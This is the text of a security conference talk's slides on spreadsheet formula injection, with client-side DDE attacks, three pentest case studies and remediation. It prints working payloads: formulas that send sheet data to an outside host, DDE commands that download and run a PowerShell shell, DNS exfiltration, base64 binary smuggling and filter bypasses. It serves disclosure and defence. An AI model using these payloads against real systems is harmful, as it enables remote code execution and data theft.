

Server-side Spreadsheet Injections

LEVERAGING FORMULAS FOR HIGH-IMPACT ATTACKS

Empire Hacking NYC



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\$ WHOAMI

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- CVE-2017-14035 CrushFTP Deserialization Vulnerability



IMPROVISING

• I've played guitar as long as I have been hacking.





IMPROVISING

- I've played guitar as long as I have been hacking.
- With music, improvisation was magical and made no sense. Just like finding new attack vectors in computer security.



IMPROVISING

- I've played guitar as long as I have been hacking.
- With music, improvisation was magical and made no sense. Just like finding new attack vectors in computer security.
- But like solos, new attack vectors don't come out of thin-air. They are based on the accumulation of experiences. They're built from your bag of licks/riffs.



IMPROVISING

• This talk shows an example of taking a familiar attack vector and turning it into something new.



IMPROVISING

- This talk shows an example of taking a familiar attack vector and turning it into something new.
- This is my riff based on CSV Injection.



CSV INJECTION

CLIENT-SIDE ATTACKS



Malicious Documents

CLIENT-SIDE ATTACKS

How can we craft a malicious Excel document?

- Traditional file-processing exploit
- Malicious macros
- Malicious formulas

	1	1
X		

Where Do We Get Documents?

CLIENT-SIDE ATTACKS

Most documents are consumed from emails or software output:

- Emails/internet (XLSM, XLSX, etc.)
- Software-generated (CSV, XLSX)

We will focus on the latter...

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X	

Software-generated Documents

CLIENT-SIDE ATTACKS

- Software-generated documents:
 - Audit logs
 - Inventories
 - User lists

Audit Log

The audit log gives you a history of changes to your Confluence site. It can be very useful for tracking down things like permissions, global settings, or add-on changes.

	Filter by keyword	Q Filter by Time: All			↓ Export	🔅 Settings
					Prev 1	2 3 Next
	Time	User	Event type	Change	Item affected	Actions
	13 May, 2016 15:41:17	Administrator	Global Administration	Global settings changed		Show more
	13 May, 2016 15:41:17	Administrator	Global Administration	Color scheme modified		Show more
	13 May, 2016 15:41:17	Administrator	Global Administration	Site logo changed		Show more
	13 May, 2016 15:39:16	Ewan User	Users and groups	User added to group	Group: developers	Show more
	13 May, 2016 15:38:59	Ewan User	Users and groups	Group created	Group: developers	Show more
	13 May, 2016 15:38:59	Ewan User	Users and groups	Group created	Group: developers	Show more
_	13 May, 2016 15:38:13	Administrator	Spaces	Space created	Space: Audit log space	Show more

CSV Injection: Excel Is a Popular CSV Viewer

CLIENT-SIDE ATTACKS

- Excel is commonly used to view CSV documents in a human-readable presentation.
- Formulas can be embedded to execute attacks when the client opens a document.

	А	В	С	D	E	F	G
1	Date	Open	High	Low	Close	Volume	Adj Close
2	02/01/2003	50.65	51.61	50.52	51.6	7545500	44.99
3	03/01/2003	51.61	51.61	49.85	50	8389300	43.59
4	06/01/2003	50.2	50.55	49.67	50.19	7438400	43.76
5	07/01/2003	50.32	50.76	50.1	50.46	6669000	43.99
6	08/01/2003	50.4	51.36	49.86	49.99	7796900	43.58
7	09/01/2003	50.75	52	50.75	51.92	9884800	45.27
8	10/01/2003	51.92	52	51.21	51.62	7426600	45
9	13/01/2003	51.62	52.18	51	51.28	6920800	44.71
10	14/01/2003	51	51.54	50.7	51.41	6759600	44.82
11	15/01/2003	51.45	51.68	50.53	50.59	6503500	44.11
12	16/01/2003	51.1	51.23	49.98	50.3	8086900	43.85
13	17/01/2003	50.3	50.43	49.7	49.97	8661200	43.57
14	21/01/2003	50.07	50.29	48.98	49.01	7827400	42.73
15	22/01/2003	49.02	49.59	47.75	48.07	11097600	41.91
16	23/01/2003	48.07	48.76	47.34	48.57	10896500	42.34
17	24/01/2003	48.4	48.69	47.19	47.3	8425500	41.24

CSV Injection: Formula Syntax

CLIENT-SIDE ATTACKS

- Formulas can be initiated in MS Excel with the characters =, -, +, @:
 - =SUM(1,1)
 - -SUM(1,1)
 - +SUM(1,1)
 - @SUM(1,1)
- How do we embed formulas? What formulas could we use against our target?

	А	В	
1	=SUM(1,1)	2	
2	+SUM(1,1)	2	
3	-SUM(1,1)	-2	
4	@SUM(1,1)	2	

CSV Injection: Formula Injection

CLIENT-SIDE ATTACKS

- In a shared application, attackers can inject formulas into fields that are known to be used in the construction of CSV documents.
- Attackers might target fields such as their own first, last, or user name to inject a formula payload.

× Change name	А	4 .	· · · ×	√ f _x =IFERROR(CMD	'/c calc.ex	e'!A0, "Jim")
First name		А	В	С	D	E
=IFERROR(CMD '/c calc.exe'!A0, "Jim")	1	First Name	Last Name	Title		
	2	Michael	Scott	Regional Manager		
Last name	3	Dwight	Schrute	Asst. to the Regional Manager		
Halpert	4	Jim	Halpert	Salesman		

• Injection requires control of the input on the left-hand side of the cell.

CSV Injection: DDE Commands

CLIENT-SIDE ATTACKS

- "The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications." – MSDN
- For our purposes, it's a vehicle for command injection:

=CMD|'/c calc.exe'!A0

File	Ho	ome	Insert	Page	e Layout	Formulas	Data	Rev	iew View	Developer	© Tell	me what you want	t to do
Paste	Cop			Calibri B I <u>I</u>		11 - A A		_	≫ - 🕞 Calculator	Wrap Text	Gene	eral ·	Co
	Clipboar		G.		Font		G		≡ St	andard		O	a l
A1		•	×	~	<i>f</i> _x =0	:MD '/c calc	.exe'!A0					Ū	
	А	В		с	D	E	F					•	L
1	#REF!											0	
2 3 4 5								_				-	
3									MC N	IR M+	M-	MS M*	-
5													
6 7									%	\checkmark	x ²	1/x	
7 8													
8 9									CE	С	$\langle \times \rangle$	÷	-
10													
11									7	8	9	×	
12									'	0	5		
13 14									4	5	6	_	-
15									4	5	0		-
16											-		
17									1	2	3	+	
18													
19 20									±	0	•	=	-
21													

CSV Injection: DDE Commands

CLIENT-SIDE ATTACKS

- There is a misconception about this attack, in that the only DDE servers/services that are available are =CMD, =MSEXCEL, and =DDE.
- There is also a misconception that these functions are required to invoke arbitrary commands.
- Actually...



CSV Injection: DDE Formula Syntax Opens Doors!

Syntax: **<DDE**>**|<STRING LITERAL**>**!<CELL**>

- <DDE> = Any program in the PATH (e.g., =CMD, =CALC, =MSPAINT, =HALO)
- **<STRING LITERAL>** = 255 characters
- <**CELL**> = [A-z][A-z0-9]*

CSV Injection: DDE External Links in XLSX

• XML representation within the XLSX bundle:

```
externalLink1.xml:
```

<externalLink ... ddeService="cmd" ddeTopic="/k
calc.exe"> <ddeItems><ddeItem name="A0"
advise="1"/>...</externalLink>

CSV Injection: External Cell Reference

CLIENT-SIDE ATTACKS

Syntax: <**PATH**>[<**FILENAME**>]<**SHEET**>!<**CELL**>

- **<PATH**> = Path to spreadsheet
- <FILENAME> = Filename (any extension)
- <**SHEET**> = Target sheet
- <CELL> = Target cell
- 'C:\Users\<user>\Desktop\[test.xlsx]'!Sheet1!\$A\$1

CSV Injection: Simplified External Cell Reference

Syntax: **<PATH**>!**<CELL**>

- <PATH> = Path to spreadsheet (file:// is default)
- <CELL> = Target cell
- 'http://listening_responder_instance'!A0

CSV Injection: External Cell Reference

CLIENT-SIDE ATTACKS

• Steal hashes with Responder:

• Download data/executables into:

C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\<id>\

Disk Activity	isk Activity 1 MB/sec Disk I/O								
Image	PID	File	Read	Write	Total	I/O			
System	4	C:\Users\jake\AppData\Local\Microsoft\Windows\INetCache\IE\B9UOHFW1	0	158	158				
EXCEL.EXE	5932	C:\Users\jake\AppData\Local\Microsoft\Windows\INetCache\IE\B9UOHFW1\test[2]	361,7	0	361,7				
System	4	C:\Users\jake\AppData\Local\Microsoft\Windows\INetCache\IE\B9UOHFW1\test[2]	14,99	10,67	25,67				
System	4	C:\Users\jake\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A0E2757F.tmp	0	35,61	35,61				
SearchUI.exe	4028	C:\Windows\System32\msftedit.dll	12,288	0	12,288				

CSV Injection: External Links in CSV Documents

- DDE references and external spreadsheet references are all examples of **external (workbook) links**. These produce security dialogs:
 - CSV injection warning:



CSV Injection: External Links in XLS* Documents

CLIENT-SIDE ATTACKS

Untrusted document:

👻 💉 Format Painter	B I <u>U</u> -	• 🗠 • 🗛 • 🚍 🗏	r ≕ ≕ ⊨ 🔄 主 🖽 Merge & Center								
Clipboard 🗔	Font	Es.	Alignm	ient 5							
SECURITY WARNING Automatic update of links has been disabled Enable Content											
A1 - : ;	× √ f _x =N	NOW()+CMD '/c calc.	exe'!A0								
AB	C D	E F	G	H I							
1 #REF!											

Trusted document:



CSV Injection: Security Dialogs

CLIENT-SIDE ATTACKS

• And when that external link is a DDE service, there is a second warning:

Microsoft	t Excel					1					×	
 1	To acces Only clic	Excel needs trust the so		jitimate appli to let the wo			sed maliciou	sly to spread	l viruses or d	amage your c	omputer.	
	Start up)			Yes	No							
												Γ.

CSV Injection: MSEXCEL DDE Service

CLIENT-SIDE ATTACKS

• DDE security dialogs can be made more "friendly" by leveraging alternate DDE services (e.g., MSEXCEL):



DDE in Other Parts of Microsoft Office

CLIENT-SIDE ATTACKS

- Last year, attacks using DDEAuto were highly publicized. These allowed formulas to be executed across the MS Office Suite.
- In Word 2016: Insert tab \rightarrow Quick Parts \rightarrow Field \rightarrow =(Formula):

{DDEAUTO c:\\windows\\system32\\cmd.exe "/c calc.exe"}



DDEAUTO Remediation

CLIENT-SIDE ATTACKS

Third-party recommendation for disabling the feature in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options] "DontUpdateLinks"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\OneNote\Options] "DisableEmbeddedFiles"=dword:0000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options] "DontUpdateLinks"=dword:00000001 "DDEAllowed"=dword:00000000 "DDECleaned"=dword:00000001 ...repeat for all Microsoft Office products...

Trusted Locations/Documents

CLIENT-SIDE ATTACKS

- Trusted Locations (per directory)
- Trusted Documents (per file)
- Both suppress warnings for some types of macros and functions (e.g., WEBSERVICE) and allow access to complete Excel functionality.
- This can be valuable during pentests if you gain access to trusted locations in a client's fileshare.

Trust Center	
Trusted Publishers	Trusted Locations
Trusted Locations Trusted Documents	Warning: All these locations are treated as trusto sure that the new location is secure.
Trusted Add-in Catalogs	Path User Locations
Add-ins	C:\ (x86)\Microsoft Office\Root\Templates\
ActiveX Settings	C:\ata\Roaming\Microsoft\Excel\XLSTART\ C:\icrosoft Office\Root\Office16\XLSTART\
Macro Settings	C:\ppData\Roaming\Microsoft\Templates\
Protected View	C:\icrosoft Office\Root\Office16\STARTUP\ C:\\Microsoft Office\Root\Office16\Library\
Message Bar	
External Content	Policy Locations
File Block Settings	
Privacy Options	

CSV Injection: Data Exfiltration

• Data can be exfiltrated with WEBSERVICE (one warning) or with HYPERLINK (no warnings) and a targeted mouse-click:

=HYPERLINK("http://bishopfox.com/?data="&A1&A2,"Error: please click for information")

	А	В	с	D	Е	F	G	н	I.			
1	а	test										
2	b	test										
3	с	test										
4	d	test										
5	e	test										
6	f	test										
7												
8			Error	Error: please click for information								

CSV Injection: Recommended Remediation

• Escape all formula cells by prepending a single-quote character [']:



- Disable trusted locations/documents.
- Disable external links and data connections.
- Remember that different spreadsheet solutions don't have the same security dialogs (e.g., Google Sheets).

CSV Injection: Bug Bounties

CLIENT-SIDE ATTACKS

• CSV injection is a popular vulnerability category on Hackerone:



About 142 results (0.40 seconds)

#223344 CSV Injection with the CSV export feature - HackerOne https://hackerone.com/reports/223344 -

May 17, 2017 - Step to reproduce :** 1.go to https://hosted.weblate.org/dictionaries/aptoide-uploader/bn/#add 2.add "=1+1" to **Source** and ** Translation** ...

#244292 CSV Injection https://hub.grab.com - HackerOne https://hackerone.com/reports/244292 -

Oct 26, 2017 - @Poison had pointed out that it was possible to perform **CSV Injection** on hub.grab.com which was tested on Microsoft Excel 2016. **Injection** occurred by adding the payload in customer name field in Grab mobile application. ... Therefore, **CSV injection** is not in scope of our bug bounty ...

#126109 CSV Injection in business.uber.com - HackerOne

CSV Injection: Bug Bounties

CLIENT-SIDE ATTACKS

• Google does not consider CSV injection a vulnerability:

CSV Excel formula injection

Occasionally, we get reports describing Excel formula injection into CSV files. Specifically, the reports mention that one of our products with a feature can be abused to inject Excel formulas into a generated file downloaded by the user. The <u>attack scenario</u> mentions that, under certain those formulas could be executed by the application opening the CSV file (Microsoft Excel is commonly mentioned). The consequence is not j arithmetic operations on a victim's machine (though we all like =1338-1), but may amount even to <u>running arbitrary commands</u>.

Our product security team here in Google thinks this isn't something we are in the best position to fix or that would have sufficient impact on products security. We are aware that other bug bounty program vendors might interpret this issue differently, but still stand by our decision.

CSV files are just text files (the format is defined in <u>RFC 4180</u>) and evaluating formulas is a behavior of only a subset of the applications openi rather a side effect of the CSV format and not a vulnerability in our products which can export user-created CSVs. This issue should mitigated which would be importing/interpreting data from an external source, as Microsoft Excel does (for example) by showing a warning. In other we fix should be applied when opening the CSV files, rather then when creating them.

In conclusion, we don't think the risk introduced by this behavior is significant enough to warrant a change in our products. Reports describin formula injection into CSV files generated by Google products will not qualify for a reward nor credit.

CSV Injection: Who Should Fix It?

CLIENT-SIDE ATTACKS

- Whose responsibility is it? The software generating the documents, or the software that consumes it?
- Can a CSV export tool handle all of the possible downstream solutions? Python Scripts, MS Excel, LibreOffice, Google Sheets, etc.

CSV Injection: Takeaways

- Look for CSV/XLS* export functionality. Populate fields used in document construction with formulas beginning with a variety of formula-initiating characters (e.g., =SUM(1,1), @SUM(1,1)).
- The single quote ['] escapes a formula, preventing it from being executed.
- Not all organizations will consider CSV injection to be their responsibility.

THREE REAL-LIFE EXAMPLES

SERVER-SIDE ATTACKS




• We will examine three case studies from client engagements where I discovered a variety of server-side applications of formula injection.

CASE #1: GOOGLE SHEETS INJECTION



- A client of ours developed an authorization system based off roles from a specified Google enterprise domain. The system also allowed access for users outside the domain.
- When an administrator wanted to perform bulk updates of users, the user database could be exported to a Google Sheets document in an administrator's Google Drive.
- The administrator could add users, permissions, and default passwords (for new external users) by adding rows and modifying the values in each column.

- This is similar to the bulk CSV export/re-import administration approach taken by many applications, but without having to leave Google G Suite.
- It was a neat way of integrating their product into G Suite, but it left some uncommon attack surfaces.

- There was a fair amount of user-controlled input in these documents. Existing users' information populated the spreadsheet.
- Google Sheets does not present warnings when external web resources are loaded. This allows attackers to misuse IMPORTXML or IMPORTDATA formulas.
- Google Sheets formulas are triggered by -,+,= (not @).
- By crafting a payload to concatenate all the sheet's cells, our team could exfiltrate all the data from the exported user database.

SERVER-SIDE ATTACKS

• With all this in mind, I tried to come up with that perfect "Notes" field for my user profile...

SERVER-SIDE ATTACKS

• This is what I came up with:

=IFERROR(IMPORTDATA(CONCAT("http://bishopfox.com:8000/s ave/",JOIN(",",B3:B18,C3:C18,D3:D18,E3:E18,F3:F18,G3:G1 8,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3:O 18,P3:P18,Q3:Q18,R3:R18))),"")

- Let's break it down:

 - <A> > =IFERROR(,"")
 > IMPORTDATA(<C>)
 <C> > CONCAT("http://bishopfox.com:8000/save/",<D>
 <D> > JOIN(",",B3:B18,C3:C18,D3:D18,E3:E18,F3:F18,G3: G18,H3:H18,I3:I18,J3:J18,K3:K18,L3:L18,M3:M18,N3:N18,O3 :018,P3:P18,Q3:Q18,R3:R18))

SERVER-SIDE ATTACKS

.6.245 - - [23/Jun/2016 20:05:42] "GET /save/ID%20(current%20email-UPDATE)(new%20email-

- Formulas have the helpful property of recalculating when dependent variables are modified.
- As such, our server received live updates for each edit to the document.
- Requests came from Google servers, not the administrator's browser, and resent at fixed time intervals while the document was open.
- Like MS Excel, formulas could be escaped with single-quotes ['].



• To summarize, Google Sheets does <u>**not**</u> have data exfiltration protection. Exercise caution when opening software-generated documents in Google Sheets.

CASE #2: FORMULA INJECTION TO RCE



- The client created an application and API that provided centralized version control for multimedia files. Files could be uploaded and retrieved via the API.
- The retrieval endpoints allowed alternate renditions (image conversions) of a given file during retrieval (e.g., Give me a PNG version of this uploaded JPG).

- In addition to supporting your standard graphics documents (e.g., PNG, GIF, JPG), the service also supported Microsoft Office documents.
- After unsuccessfully attempting XXE-based Office payloads. I noticed that the XLSX documents also supported alternate renditions.
- How were they converting an XLSX file to a PNG? How would it handle formulas?

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =SUM(1,1)

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =SUM(1,1)
 Response:
 2

- I uploaded an Excel document with: =SUM(1,1)
 Response:
 2
- I started getting excited, but they could have been using the cached result from the document.
- How could I determine if the formulas were being executed dynamically?

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =NOW()

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =NOW()
 Response:
 <CURRENT TIMESTAMP>

- I uploaded an Excel document with: =NOW()
 Response:
 <CURRENT TIMESTAMP>
- I am getting real-time injection!
- Now, the burning question was whether I could get DDE execution.

SERVER-SIDE ATTACKS

 I uploaded an Excel document with Metasploit's exploit/multi/script/web_delivery: =cmd|'/c powershell.exe -w hidden \$e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.co m/shell.ps1");powershell -e \$e'!A1

SERVER-SIDE ATTACKS

 I uploaded an Excel document with Metasploit's exploit/multi/script/web_delivery: =cmd|'/c powershell.exe -w hidden \$e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.co m/shell.ps1");powershell -e \$e'!A1 Response: meterpreter>



- But what about the security dialogs?
- I found myself on a Windows AWS node. After some process exploration, I saw that somehow the Excel executable was being instrumented. The instrumentation circumvented the traditional security dialogs.
- The system appeared to be isolated. But by leveraging an overprivileged EC2 role from AWS Metadata URL, I was able to gain access to the datastores and encryption keys and perform AWS privilege escalation.



- CSV Injection can lead to <u>server-side</u> code execution when Excel is being used to process data on the server side.
- Look for XLS*/CSV upload functionality. Attempt formula injection using =NOW() to test for real-time evaluation.

SERVER-SIDE ATTACKS

• I assumed that this was just a cool, one-time shell, and I wouldn't ever see this again.

- I assumed that this was just a cool, one-time shell, and I wouldn't ever see this again.
- Until a few months later...

CASE #3: RCE WITH EGRESS FILTERING



SERVER-SIDE ATTACKS

 This service had a document signing feature that allowed documents to be uploaded and signed. You know, PDFs, PNGs, DOCX, and...

- This service had a document signing feature that allowed documents to be uploaded and signed. You know, PDFs, PNGs, DOCX, and...
- Yup, XLSX. As an outsider, this seemed bizarre, but then again customers want the weirdest features.

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =NOW()

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =NOW()
 Response:
 <CURRENT TIMESTAMP>

- I uploaded an Excel document with: =NOW()
 Response:
 <CURRENT TIMESTAMP>
 - I'm thinking: "I've seen this movie before, and I know how it ends."

SERVER-SIDE ATTACKS

 I uploaded an Excel document with Metasploit's exploit/multi/script/web_delivery: =cmd|'/c powershell.exe -w hidden \$e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.co m/shell.ps1");powershell -e \$e'!A1

SERVER-SIDE ATTACKS

 I uploaded an Excel document with Metasploit's exploit/multi/script/web_delivery: =cmd|'/c powershell.exe -w hidden \$e=(New-Object System.Net.WebClient).DownloadString("http://bishopfox.co m/shell.ps1");powershell -e \$e'!A1 Response: (Nothing)

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =WEBSERVICE("www.bishopfox.com")
SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =WEBSERVICE("www.bishopfox.com") Response: (Nothing)

- I uploaded an Excel document with: =WEBSERVICE("www.bishopfox.com")
 Response: (Nothing)
- Maybe HTTPS?

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =WEBSERVICE("https://www.bishopfox.com")

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =WEBSERVICE("https://www.bishopfox.com")
 Response: (Nothing)

- I uploaded an Excel document with: =WEBSERVICE("https://www.bishopfox.com")
 Response: (Nothing)
- DNS?

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =WEBSERVICE("http://dnstest.bishopfox.com")

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =WEBSERVICE("http://dnstest.bishopfox.com")
 Response: (Received)

- I uploaded an Excel document with: =WEBSERVICE("http://dnstest.bishopfox.com")
 Response: (Received)
- Cool, so I have outbound DNS. Do I have DDE?

SERVER-SIDE ATTACKS

 I uploaded an Excel document with:
 =CMD |'/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com ' |!A1

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =CMD|'/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com '|!A1

Response:

connect to

root@s:~/DNS-Shell# nc -vulp 53

listening on [any] 53 ...

inverse host lookup failed: Unknown host from (UNKNOWN)

SandBox-VM 89886 f 86 ba 889 89

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =CMD|'/c for /f "delims=" %a in ('hostname') do nslookup %a.bishopfox.com '|!A1

Response:

root@s:~/DNS-Shell# nc -vulp 53 listening on [any] 53 ... inverse host lookup failed: Unknown host connect to from (UNKNOWN) 公司 SandBox-VM部名時行調由部部

• Awesome, DDE works! Do I have PowerShell?

SERVER-SIDE ATTACKS

I uploaded an Excel document with:
 =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1

SERVER-SIDE ATTACKS

 I uploaded an Excel document with: =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1 Response: (Received)

- I uploaded an Excel document with: =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1 Response: (Received)
- Cool! Let's make a DNS shell

- I uploaded an Excel document with: =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1 Response: (Received)
 - Cool! Let's make a DNS shell through PowerShell

- I uploaded an Excel document with: =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1 Response: (Received)
- Cool! Let's make a DNS shell through PowerShell through DDE

- I uploaded an Excel document with: =CMD|'/c powershell nslookup dnstest.bishopfox.com'|!A1 Response: (Received)
- Cool! Let's make a DNS shell through PowerShell through DDE via formula injection.

- This got ugly quick.
- I soon hit a wall because the PowerShell API functions were insanely long and I only had one 255-character string literal.
- I got down to about to a 290-character, barebones DNS shell, but I couldn't get it smaller.
- So, I created a ton of injections...

- In typical 3 a.m.-level reasoning, I built this ridiculous payload:
 - Each cell has a DDE payload containing a PowerShell one-liner starting with a sleep command to stagger execution.
 - Stream the base64-encoded SensePost DNS shell via DNS TXT records, and write each portion to disk.
 - Execute the resulting payload.
- Later, I realized that I could take advantage of calculation chains: =CMD...+CMD...+CMD (more on this later).

SensePost-DNS-Shell::\$ dir C:\ [+] Chunks Recieved: 114					Image Name		Session Name	Session#	Mem Usage
					System Idle Process	0	Services	0	24 K
					System		Services	0	300 K
					smss.exe		Services	0	1,092 K
Dire	ctory: C:\				csrss.exe		Services	0	12,988 K
					wininit.exe		Services	0	4,404 K
					csrss.exe		Console	1	5,732 K
Mode	Last	WriteTime	Length Name		winlogon.exe		Console	1	4,112 K
					services.exe		Services	0	9,760 K
d	7/25/2017	8:31 PM	drop		lsass.exe		Services	0	13,880 K
d	7/13/2009	8:20 PM	PerfL	ogs	lsm.exe		Services	0	3,836 K
d-r	12/8/2015	3:32 PM		am Files	svchost.exe svchost.exe		Services	0 0	11,688 K
d-r	3/24/2014	10:44 PM		am Files (x86)	MsMpEng.exe		Services Services	0	10,044 K 77,216 K
d	7/23/2017	4:11 PM		DOX.VM	LogonUI.exe		Console	1	14,712 K
d	7/25/2017	9:10 PM	temp		svchost.exe		Services	0	15,728 K
d-r	12/27/2013	5:44 PM	Users		svchost.exe		Services	ő	35,144 K
d	6/13/2017	12:37 PM	Windo		svchost.exe		Services	õ	12,240 K
-a	11/7/2007	8:00 AM	17734 eula.		svchost.exe		Services	õ	14,852 K
-a	11/7/2007	8:00 AM	17734 eula.		svchost.exe		Services	õ	18,636 K
-a	11/7/2007	8:00 AM	10134 eula.		svchost.exe		Services	Ő	14,148 K
-a	11/7/2007	8:00 AM	17734 eula.		spoolsv.exe		Services	Ø	14,136 K
-a	11/7/2007	8:00 AM	17734 eula.		svchost.exe		Services	0	7,416 K
-a	11/7/2007	8:00 AM	118 eula.		svchost.exe	1340	Services	0	9,828 K
-a	11/7/2007	8:00 AM	17734 eula.		svchost.exe	1432	Services	0	8,736 K
	11/7/2007				Monitoring.Agent.Shell.ex	1460	Services	0	72,004 K
-a		8:00 AM	17734 eula.		Sandbox.VM.Shell.exe	1608	Services	0	119,124 K
-a	11/7/2007	8:00 AM	17734 eula.		svchost.exe		Services	0	4,048 K
-a	11/7/2007	8:00 AM	1110 globo		AgentService.exe		Services	0	41,068 K
-a	11/7/2007	8:44 AM	855040 insta		APNDNProxy.exe		Services	0	24,124 K
-a	11/7/2007	8:00 AM	843 insta		Core_Service.exe		Services	0	36,388 K
-a	11/7/2007	8:44 AM		ll.res.1028.dll	DCHost.exe		Services	0	48,688 K
-a	11/7/2007	8:44 AM		all.res.1031.dll	APFirstAidHost.exe		Services	0	25,164 K
-a	11/7/2007	8:44 AM		all.res.1033.dll	APDCManager.exe		Services	0	38,860 K
-a	11/7/2007	8:44 AM		all.res.1036.dll	conhost.exe		Services	0	2,796 K
-a	11/7/2007	8:44 AM		all.res.1040.dll	WINWORD.EXE		Services	0	44,920 K
-a	11/7/2007	8:44 AM	80400 insta	all.res.1041.dll	MULEMPROACE AVA	10.4.4		n n	

- This instance was heavily sandboxed, and I didn't have much testing time remaining. This was only a 12-hour pentest.
- My shells kept getting terminated every 30 seconds. I later learned that this was because they were spinning worker nodes up and down for file conversion. That was where my shell was. My documents were timing out because of my long-lived shell subprocess.
- I did try to figure out what was being used to instrument Excel. This time I got an answer: ActivePDF, a C# library for automating and instrumenting a variety of document viewers for file conversion.



- Egress filtering and using short-lived sandboxed hosts are excellent design choices.
- Defense-in-depth can limit the impact of these attacks.

REMEDIATION





- Parse documents instead of evaluating:
 - Simply use the cached formula results in the document.
 - Ignore formulas/cached results and render the content literally.





- If you are executing formulas:
 - Use the Trust Center to disable Data Connections and Workbook links to protect against untrusted documents:

Trust Center				
Trusted Publishers	Security settings for Data Connections			
Trusted Locations				
Trusted Documents	<u>Enable all Data Connections (not recommended)</u> <u>Prompt user about Data Connections</u>			
Trusted Add-in Catalogs	<u>P</u> rompt user about Data Connections <u>D</u> isable all Data Connections			
Add-ins	Security settings for Workbook Links			
ActiveX Settings				
Macro Settings	 Enable <u>a</u>utomatic update for all Workbook Links (not recommended) 			
Protected View	 Prompt user on automatic update for Workbook Links Disable automatic update of Workbook Links 			
Message Bar				
External Content				



- Also:
 - Disable Macros (so far everyone has).
 - Heavily sandbox the instrumented process and worker instance.



BYPASSING COUNTERMEASURES



Bypassing Countermeasures: Remediation Test

- Nested functions/calculation chains can bypass function filtering:
 - Both our clients determined that formula evaluation was a business requirement and initially implemented filtering.
 - By nesting, adding whitespace, or using alternative DDE services, attacks could still be executed:
 - =SUM(NOW()+CMD|'/c nslookup 17.bishopfox.com'!A1, 1)
 - =SUM(1, +-+-+ SUM(2,2))

Bypassing Countermeasures: No Egress

• When no egress is available, the CELL and INFO functions can provide information about the environment:

	info	3.xlsx	
Directory NumFile Origin Osversion Recalc mode Release System	C:\Users\Administrator\Documents\ 1 \$A:\$A\$1 Windows (32-bit) NT 6.03 Automatic 16.0 pcdos		DF\Temp\DocConverter\API\Input\[\$a51115e88408\$D6182DBD5D BD5D414307B4B6EC149E691693.scrubbed.xlsx]Sheet1

Bypassing Countermeasures: Binary Smuggling

- If you are in a restricted egress situation, smuggling in a binary can be an effective way to perform further attacks (e.g., a binary that outputs results in an Excel file in a known location). Output can be accessed through cross-workbook links.
- Formula calculation chains are evaluated left to right. We can take advantage of this property to write out data to disk.
- The payload can then be base64-decoded using CertUtil (or via powershell –e) and executed.

Bypassing Countermeasures: Binary Smuggling

=cmd|'/C echo|set
/p="CgAkAHUAcgBsACAAPQAgACIAMQA4AC4AYgBmAC4AbQBiAGEAIgA7AAoAZgB
1AG4AYwB0AGkAbwBuACAAZQB4AGUAYwBEAE4AUwAo" >
C:\ProgramData\activePDF\Temp\a.enc'!A0

+cmd|'/C echo|set
/p="ACQAYwBtAGQAKQAgAHsACgAkAGMAIAA9ACAAaQBlAHgAIAAkAGMAbQBkACA
AMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkA" >>
C:\ProgramData\activePDF\Temp\a.enc'!A0

+...

+cmd|'/C powershell -c "\$a=Get-Content C:\ProgramData\activePDF\Temp\a.enc;powershell -e \$a"'!A0

Bypassing Countermeasures: Excel 4.0 Macros

- Excel 4.0 macros were introduced prior to the addition of VBA (AKA Excel 5.0 macros). These macros can be used in named ranges in addition to the traditional macro editor.
- Excel 4.0 macros can perform filesystem operations, execute files, and more. The 4.0 macros may be available through named ranges even when full macro features are not enabled.
- This technique can be combined with CELL and INFO to automate attacks against a variety of hosts.

FINAL THOUGHTS

CONCLUSION





Final Thoughts: Further Research to Be Done

 Hidden Formula APIs: Microsoft is notorious for undocumented legacy APIs, or Easter eggs. Flight simulator was hidden in Excel '97, but that might be the only thing that's been removed since Excel '97.



Final Thoughts: Finding New Attack Vectors

- As we move away from desktop apps to cloud apps and SaaS, consider the "traditional" client-side attacks. They may take on new meaning in a server-side setting.
- Spreadsheet software is a large and varying attack surface. Opening the same formula payload could have a variety of warnings or lack thereof across the various solutions (MS Excel, LibreOffice, OpenOffice, Google Sheets, O365 Excel, etc.).

Final Thoughts: Say Hi!

CONCLUSION

- If you do find any of these during pentests or Bug Bounties, I'd love to hear about it. Or come work on it with us at Bishop Fox.
- jmiller@bishopfox.com, or theBumble on freenode
- Hope to see you at SummerCon 2018!

Thank You



Empire Hacking NYC





Functionality to look for:

• **Export** or **upload** functionality handling XLS*/CSV files. Attempt to inject formulas into cells used during processing.

Payloads:

- NOW, DDE, WEBSERVICE, INFO/CELL, named ranges (Excel 4.0 macros)
- Macros, and external spreadsheet references.
- Bypass filtering with nesting and whitespace.